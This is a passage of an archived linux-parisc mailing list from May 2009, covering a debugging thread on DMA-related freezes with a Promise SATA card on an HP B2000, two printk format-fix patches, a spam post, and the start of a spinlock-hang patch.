	/* per-port ATA register offsets (from ap->ioaddr.cmd_addr) */

	PDC_PKT_SUBMIT		= 0x40, /* Command packet pointer addr*/

This PDC_PKT_SUBMIT is than used again here:

static void pdc_packet_start(struct ata_queued_cmd *qc)
{
	struct ata_port *ap = qc->ap;
	struct pdc_port_priv *pp = ap->private_data;
	void __iomem *host_mmio = ap->host->iomap[PDC_MMIO_BAR];
	void __iomem *ata_mmio = ap->ioaddr.cmd_addr;
	unsigned int port_no = ap->port_no;
	u8 seq = (u8) (port_no + 1);

	VPRINTK("ENTER, ap %p\n", ap);

	writel(0x00000001, host_mmio + (seq * 4));
	readl(host_mmio + (seq * 4));	/* flush */

	pp->pkt[2] = seq;
	wmb();			/* flush PRD, pkt writes */
	writel(pp->pkt_dma, ata_mmio + PDC_PKT_SUBMIT);
	readl(ata_mmio + PDC_PKT_SUBMIT); /* flush */
}

This function is then used in case a ATA_PROT_DMA is called.
It seems like that this might be the spot where the problem might be (as
you indicate further down). I will test (just for the sake of it) if it
will stop crashing if I turn DMA down (if that is possible with a raid
device)

> 
> System Responder Path        = 0x00ffffff0a010400
> 
> This is supposed to match the HPA (Host Phys Address) of one of the
> devices that is listed at the beginning of the parisc-linux boot.
> I'm not sure it' accurate though.

I will try to check that this evening (I hope this will be something
that will appear in my minicom screen?

> 
> And then the last part of the PIM that's interesting basically confirms
> what we have been guessing:
> 
> '9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:
> 
> A Data I/O Fetch Timeout occurred while CPU 0 was
> requesting information from a device at the path 10/1/4/0 (PCI slot 4).
> 
> I forgot how to check if the "I/O Fetch Timeout" occurred because
> the IOMMU already went "fatal" (DMA was attempted to an unmapped address).
> 
> 
> FYI, I also found the C3000 service manual here:
>     http://sysdoc.doors.ch/HP/lpv38336.pdf
> 
> and uploaded a copy to:
> 	ftp://ftp.parisc-linux.org/docs/platforms/c3000-service.pdf
> 
> TODO: add an entry to http://www.parisc-linux.org/documentation/ 
> 
> hth,
> grant

Thanks again,

Dirk

-- 
Dirk Van Hertem                       Dirk.VanHertem@esat.kuleuven.be
Electrical Engineering Department  http://www.esat.kuleuven.be/electa
K.U. Leuven, ESAT-ELECTA                         tel: +32-16-32.18.95
10, Kasteelpark Arenberg, B-3001 Heverlee        fax: +32-16-32.19.85
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/2] parport_gsc: fix printk format warning
Date: Mon, 18 May 2009 17:10:52 +0400
Lines: 30
Approved: news@gmane.org
Message-ID: <1242652252-1835-1-git-send-email-a.beregalov@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1242652289 18212 80.91.229.12 (18 May 2009 13:11:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 May 2009 13:11:29 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>
To: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 18 15:11:22 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M62cj-0007to-QH
	for glpp-linux-parisc@gmane.org; Mon, 18 May 2009 15:11:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751772AbZERNLT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 May 2009 09:11:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751689AbZERNLS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 May 2009 09:11:18 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.225]:7086 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751096AbZERNLS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 May 2009 09:11:18 -0400
Original-Received: by rv-out-0506.google.com with SMTP id f9so1613815rvb.1
        for <multiple recipients>; Mon, 18 May 2009 06:11:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer;
        bh=zNM6ERv+71wi5garZJwfLRvgq7w2V+Nn4TcbKtUCwyc=;
        b=Sl14tVqsr7KUhJPc0Y89guBNoVBYi6A2jfjMJRYAJHKBypf9eoSVrnfelwmjKyWF9H
         WK4RWZ4b4oThBYPesBYVj3gp1EjwtgahyucIXh4hX6Kp55ry+hScMBK9DU+WwB98zrMp
         7KrXJQnbVkQ7Nu6aBLsbvV9m2qXr98PuTW5ZM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer;
        b=acxdHXkyNegvN38IANbg06Mdg4bEkFGEGRc9GiWZWI3jFcRJIcyA2U72/GnD1W5+Ty
         1YRb/k7cZG/jI02XO/bIB8IF9xLvFSP9u4e7HMDpL2+dFIS+aklLF+YaJ+L5n9lgLd8y
         lsHxNh0FJi1sUw4P7dEiMiC4RdT+aMDzciaqY=
Original-Received: by 10.141.82.20 with SMTP id j20mr2378511rvl.138.1242652279337;
        Mon, 18 May 2009 06:11:19 -0700 (PDT)
Original-Received: from localhost.localdomain (ppp85-140-246-179.pppoe.mtu-net.ru [85.140.246.179])
        by mx.google.com with ESMTPS id g14sm13166435rvb.2.2009.05.18.06.11.03
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 18 May 2009 06:11:05 -0700 (PDT)
X-Mailer: git-send-email 1.6.3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1700 gmane.linux.kernel:838304
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1700>

Fix this build warning:
drivers/parport/parport_gsc.c:356: warning: format '%lx' expects type
'long unsigned int', but argument 2 has type 'resource_size_t'

Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---
 drivers/parport/parport_gsc.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/parport/parport_gsc.c b/drivers/parport/parport_gsc.c
index 6531db2..51d4866 100644
--- a/drivers/parport/parport_gsc.c
+++ b/drivers/parport/parport_gsc.c
@@ -353,7 +353,7 @@ static int __devinit parport_init_chip(struct parisc_device *dev)
 
 	if (!dev->irq) {
 		printk(KERN_WARNING "IRQ not found for parallel device at 0x%lx\n",
-			dev->hpa.start);
+			(unsigned long)dev->hpa.start);
 		return -ENODEV;
 	}
 
-- 
1.6.2.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 2/2] serial: 8250_gsc: fix printk format warning
Date: Mon, 18 May 2009 17:11:31 +0400
Lines: 30
Approved: news@gmane.org
Message-ID: <1242652291-1868-1-git-send-email-a.beregalov@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1242652315 18295 80.91.229.12 (18 May 2009 13:11:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 May 2009 13:11:55 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>
To: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	alan@lxorguk.ukuu.org.uk
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 18 15:11:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M62d9-0008FG-DJ
	for glpp-linux-parisc@gmane.org; Mon, 18 May 2009 15:11:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751720AbZERNLl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 May 2009 09:11:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752092AbZERNLk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 May 2009 09:11:40 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.225]:7086 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751665AbZERNLi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 May 2009 09:11:38 -0400
Original-Received: by rv-out-0506.google.com with SMTP id f9so1613815rvb.1
        for <multiple recipients>; Mon, 18 May 2009 06:11:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer;
        bh=9Y7jSu0MLO1IMOKPJJ+ZBJyQx7YUzv4Qmlcs8pRvDS8=;
        b=e5s3DBjG8zZZoqaOq4f10qMhKzxrEQP35Dr9QqwOOgvHgdvN0u+PAgpuMwNZE+tIWR
         PzcJgwTCprwH5uBjdd/ZjKiess+/fUI5vCP2zrTFxuMRtb3f1Yz0K7XnZ2wnCf5Pf+Qo
         GwgD8nvWQBDO7GX4wlEs7l3apohl13HPMZAfE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer;
        b=YogbXAqSRznQ85SD9EKCulONjSNyVNVih74dwJ/eLSHovg6neWGtth9/HRHMM6XiXK
         2mIKRPTaRFSSxiaL+ND3rtpDGqeu6YziPbWzdRnzucUH/MmknrtHuGMKZ8MQpaFLO09N
         aWVEke+SwdG4WfNEKRerJ/SKSAfBbHKfh7P4Q=
Original-Received: by 10.142.133.19 with SMTP id g19mr2046683wfd.126.1242652299914;
        Mon, 18 May 2009 06:11:39 -0700 (PDT)
Original-Received: from localhost.localdomain (ppp85-140-246-179.pppoe.mtu-net.ru [85.140.246.179])
        by mx.google.com with ESMTPS id k2sm8520389rvb.4.2009.05.18.06.11.36
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 18 May 2009 06:11:38 -0700 (PDT)
X-Mailer: git-send-email 1.6.3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1701 gmane.linux.kernel:838305
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1701>

Fix this build warning:
drivers/serial/8250_gsc.c:44: warning: format '%lx' expects type
'long unsigned int', but argument 2 has type 'resource_size_t'

Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---
 drivers/serial/8250_gsc.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/serial/8250_gsc.c b/drivers/serial/8250_gsc.c
index 418b4fe..a7b02a5 100644
--- a/drivers/serial/8250_gsc.c
+++ b/drivers/serial/8250_gsc.c
@@ -41,7 +41,7 @@ static int __init serial_init_chip(struct parisc_device *dev)
 			printk(KERN_INFO
 				"Serial: device 0x%lx not configured.\n"
 				"Enable support for Wax, Lasi, Asp or Dino.\n",
-				dev->hpa.start);
+				(unsigned long)dev->hpa.start);
 		return -ENODEV;
 	}
 
-- 
1.6.2.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: random freezes B2000 running debian hppa lenny
Date: Mon, 18 May 2009 10:35:32 -0600
Lines: 221
Approved: news@gmane.org
Message-ID: <20090518163532.GA21195@lackof.org>
References: <49FB108B.9030803@ieee.org> <20090503112554.GB6617@lackof.org> <4A0DEF5F.6090401@ieee.org> <20090518030411.GB10973@lackof.org> <4A112BA3.5000406@ieee.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1242664585 30902 80.91.229.12 (18 May 2009 16:36:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 May 2009 16:36:25 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Dirk Van Hertem <dirk.vanhertem@ieee.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 18 18:36:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M65p2-0002zy-Bz
	for glpp-linux-parisc@gmane.org; Mon, 18 May 2009 18:36:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754979AbZERQfd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 May 2009 12:35:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752641AbZERQfd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 May 2009 12:35:33 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:46667 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754979AbZERQfc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 May 2009 12:35:32 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id B45E333E025A;
	Mon, 18 May 2009 10:35:33 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id RaCLzqNqFq7M; Mon, 18 May 2009 10:35:32 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id ED69633E025D; Mon, 18 May 2009 10:35:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4A112BA3.5000406@ieee.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1702
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1702>

On Mon, May 18, 2009 at 11:34:27AM +0200, Dirk Van Hertem wrote:
> Hello Grant,
> 
> Thank you for the response.
> 
> I am sorry to say, but I more or less understand your email, yet I have
> no idea what to do with it...
> 
> How do I proceed to get this fixed?

1) Locate the use of 0x40 offset in the Promise SATA controller driver.
2) Narrow down which uses are likely to have been the "victim"
3) Look for dma map/unmap "leaks" - use of an address for DMA *after*
   it's been unmapped OR before it's been mapped.

> I am willing to learn something
> about debugging, but I would need someone to hold my hand (I do not know
> C, I have only a basic understanding on how the kernel works,...). I
> have the impression that the problem is not gigantic, but might be
> something simple to solve, maybe even just patching the sata_promise.c
> file? Yet, I do not have an idea where and how to start looking...

Yes, I think you can read the sata_promise.c. But after first glance,
I'm afraid this is not a trivial problem...but you can do some code review
to look for unmatched or missing dma_map_sg() and dma_unmap_sg() calls.

Here's a start of the steps above:

1) Locate the use of 0x40 offset in the Promise SATA controller driver.

  56         /* host register offsets (from host->iomap[PDC_MMIO_BAR]) */
  57         PDC_INT_SEQMASK         = 0x40, /* Mask of asserted SEQ INTs */
  58         PDC_FLASH_CTL           = 0x44, /* Flash control register */
...
 811 static irqreturn_t pdc_interrupt(int irq, void *dev_instance)
 812 {
...
 844         /* reading should also clear interrupts */
 845         mask = readl(host_mmio + PDC_INT_SEQMASK);
... [ does some bit frobbing ]
 858         writel(mask, host_mmio + PDC_INT_SEQMASK);


So the "victim" seems to be a normal read from a register.
Unlikely to be the problem. Likely *before* the interrupt was delivered,
had attempted to do DMA to an invalid DMA address. Since the IOMMU
lookup fails, the IOMMU goes "fatal" and stops forwarding MMIO traffic
to the PCI busses (including the Promise card in slot 4).


> I can give you access to the machine if that would help (note that this
> would last only one hour or so, than it will hang automatically and I
> would need to reboot it ;).

It won't help since the "ideal" way to debug this would be to attach
a PCI analyzer, collect a trace of the failure, then examine all
the DMA transactions preceeding the failure.

The less ideal way is to stare at the code, a Promise SATA Programmers
Guide, and figure out how the device is supposed to work.

Also, I'd be looking extra careful at the error handling paths.
Thus are notorious for not cleaning up correctly. In this case,
"canceling" an IO that is still in flight. Driver has to guarantee
the SATA controller will NEVER DMA to a chunk of memory that is not mapped
for DMA.



> So my questions are:
> * Is this something that can be solved? (in a reasonable time frame, I
> want to use the hard disks for storage ;-))
> * by me? (If so, how?)
> * Must I forward this to the maintainers of this promise card within the
> kernel, or is this a parisc thing?

parisc exposes the bug. I'm pretty sure this is a sata_promise driver bug.
Forwarding to the promise maintainer and CC'ing linux-ide@vger.kernel.org
would probably be the best thing to start with. You can still take a look
through the code.


> >> I attached the "ser pim" output to this email, I hope it helps. If you
> >> need any other information, please ask, I hope I'll be more responsive
> >> next time...
> >
> > HPMC Chassis Codes = 2cbf0  2500b  2cbf2  2cbfc
> > 
> > Looking at:
> >     ftp://ftp.parisc-linux.org/docs/platforms/A2375-90004.pdf
> > 
> > CBF0 HPMC handling initiated.
> > CBF2 Invalid length for OS HPMC handler
> > CBFC Branch to OS HPMC failed
> > 
> > Just means the linux HPMC handler didn't get called. Hrm. This worked once
> > upon a time and I thought got fixed 6-8 months ago.
> > 
> > Next thing I look at is:
> > RUN_ADDR                     = 0xc1bff0fffed08040
> > 
> > So whatever is at 0xfffed08040 (40 bit addresses physically)
> > was the either the victim or the culprit. Often this is a MMIO BAR
> > plus some offset (probably 0x40). I suggest looking in the
> > Controller driver for that offset and where it's used in the
> > initialization
> > 
> 
> In sata_promise.c, there is the following code:
> 
> 	/* per-port ATA register offsets (from ap->ioaddr.cmd_addr) */
> 
> 	PDC_PKT_SUBMIT		= 0x40, /* Command packet pointer addr*/

Good! I stopped looking for 0x40 once I found PDC_INT_SEQMASK.
You could be right that this use of 0x40 is the victim.
It's quite possible. But the scenario I describe is still the
same (DMA to invalid address and then MMIO fails).

> This PDC_PKT_SUBMIT is than used again here:
> 
> static void pdc_packet_start(struct ata_queued_cmd *qc)
> {
> 	struct ata_port *ap = qc->ap;
> 	struct pdc_port_priv *pp = ap->private_data;
> 	void __iomem *host_mmio = ap->host->iomap[PDC_MMIO_BAR];
> 	void __iomem *ata_mmio = ap->ioaddr.cmd_addr;
> 	unsigned int port_no = ap->port_no;
> 	u8 seq = (u8) (port_no + 1);
> 
> 	VPRINTK("ENTER, ap %p\n", ap);
> 
> 	writel(0x00000001, host_mmio + (seq * 4));
> 	readl(host_mmio + (seq * 4));	/* flush */
> 
> 	pp->pkt[2] = seq;
> 	wmb();			/* flush PRD, pkt writes */
> 	writel(pp->pkt_dma, ata_mmio + PDC_PKT_SUBMIT);
> 	readl(ata_mmio + PDC_PKT_SUBMIT); /* flush */
> }
> 
> This function is then used in case a ATA_PROT_DMA is called.
> It seems like that this might be the spot where the problem might be (as
> you indicate further down). I will test (just for the sake of it) if it
> will stop crashing if I turn DMA down (if that is possible with a raid
> device)

Things that can be tried:
o try to limit which buffers get used,
o leave more stale DMA mappings open longer (risks memory corruption)
o dump additional info (e.g. last 5 dma_map/dma_unmap parameters) in
  the HPMC handler (which currently isn't working in the kernel you used).

I don't know if these are beyond you ability. But "DMA mapping code" in
this case refers to drivers/parisc/sba_iommu.c . Take a look at that
so you have an idea of what is involved with DMA map/unmap code.


> > System Responder Path        = 0x00ffffff0a010400
> > 
> > This is supposed to match the HPA (Host Phys Address) of one of the
> > devices that is listed at the beginning of the parisc-linux boot.
> > I'm not sure it' accurate though.
> 
> I will try to check that this evening (I hope this will be something
> that will appear in my minicom screen?

Yes, it should be in the console output someplace.

> 
> > 
> > And then the last part of the PIM that's interesting basically confirms
> > what we have been guessing:
> > 
> > '9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:
> > 
> > A Data I/O Fetch Timeout occurred while CPU 0 was
> > requesting information from a device at the path 10/1/4/0 (PCI slot 4).

I forgot to mention the "I/O Module Error Log" means something too:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048

It would be worth finding out what "Word3" (hint: search parisc-linux
mail archives) means again.

cheers,
grant

> > 
> > I forgot how to check if the "I/O Fetch Timeout" occurred because
> > the IOMMU already went "fatal" (DMA was attempted to an unmapped address).
> > 
> > 
> > FYI, I also found the C3000 service manual here:
> >     http://sysdoc.doors.ch/HP/lpv38336.pdf
> > 
> > and uploaded a copy to:
> > 	ftp://ftp.parisc-linux.org/docs/platforms/c3000-service.pdf
> > 
> > TODO: add an entry to http://www.parisc-linux.org/documentation/ 
> > 
> > hth,
> > grant
> 
> Thanks again,
> 
> Dirk
> 
> -- 
> Dirk Van Hertem                       Dirk.VanHertem@esat.kuleuven.be
> Electrical Engineering Department  http://www.esat.kuleuven.be/electa
> K.U. Leuven, ESAT-ELECTA                         tel: +32-16-32.18.95
> 10, Kasteelpark Arenberg, B-3001 Heverlee        fax: +32-16-32.19.85
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Isaac Werner" <crear@korwin.net>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Helloween sale
Date: Wed, 20 May 2009 18:40:59 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20090520184059.3010907@korwin.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1242841162 13892 80.91.229.12 (20 May 2009 17:39:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 May 2009 17:39:22 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 20 19:39:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M6pl3-0001pt-Sa
	for glpp-linux-parisc@gmane.org; Wed, 20 May 2009 19:39:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752132AbZETRjK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 May 2009 13:39:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753210AbZETRjK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 20 May 2009 13:39:10 -0400
Original-Received: from host246-141-dynamic.33-79-r.retail.telecomitalia.it ([79.33.141.246]:2308
	"HELO host246-141-dynamic.33-79-r.retail.telecomitalia.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752132AbZETRjJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 May 2009 13:39:09 -0400
Original-Received: from kixsa ([72.222.150.46]) by host246-141-dynamic.33-79-r.retail.telecomitalia.it with Microsoft SMTPSVC(5.0.2195.6713); Wed, 20 May 2009 18:40:59 +0100
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 8.5 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: kvirincyofr.com]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: kvirincyofr.com]
Xref: news.gmane.org gmane.linux.ports.parisc:1703 gmane.spam.detected:4385823
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1703>

Joy to your lover http://ifu.kvirincyofr.com/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH, RFC] fix parisc runtime hangs wrt pa_tlb_lock
Date: Fri, 22 May 2009 22:13:01 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <4A17074D.30602@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1243023196 29831 80.91.229.12 (22 May 2009 20:13:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 22 May 2009 20:13:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 22 22:13:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M7b76-0005OG-PU
	for glpp-linux-parisc@gmane.org; Fri, 22 May 2009 22:13:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757338AbZEVUNF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 May 2009 16:13:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757537AbZEVUNF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 22 May 2009 16:13:05 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:33703 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1757460AbZEVUND (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 May 2009 16:13:03 -0400
Original-Received: (qmail invoked by alias); 22 May 2009 20:13:03 -0000
Original-Received: from mnhm-590ea75e.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.167.94]
  by mail.gmx.net (mp030) with SMTP; 22 May 2009 22:13:03 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX189xC5iulY9BE1Ul+58hZSV5KOAiElXfm/UKjWdTY
	tRfCkXrUGBENAC
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.49
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1704
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1704>

Since many kernel versions I regularly faced reproducibly kernel hangs when
compiling some bigger files. The machine suddenly just seemed to hang.

With spinlock debugging turned on I found this:

BUG: spinlock recursion on CPU#0, tool/7263
 lock: 10644000, .magic: dead4ead, .owner: tool/7263, .owner_cpu: 0
Backtrace:
 [<10113a94>] show_stack+0x18/0x28

BUG: spinlock lockup on CPU#0, tool/7263, 10644000
Backtrace:
 [<10113a94>] show_stack+0x18/0x28

BUG: soft lockup - CPU#0 stuck for 61s! [tool:7263]
IASQ: 00000000 00000000 IAOQ: 102d55dc 102d557c
 IIR: 03c008b3    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 7d1a4000 CR31: 11111111
 ORIG_R28: 00000000
 IAOQ[0]: _raw_spin_lock+0x15c/0x1c0
 IAOQ[1]: _raw_spin_lock+0xfc/0x1c0
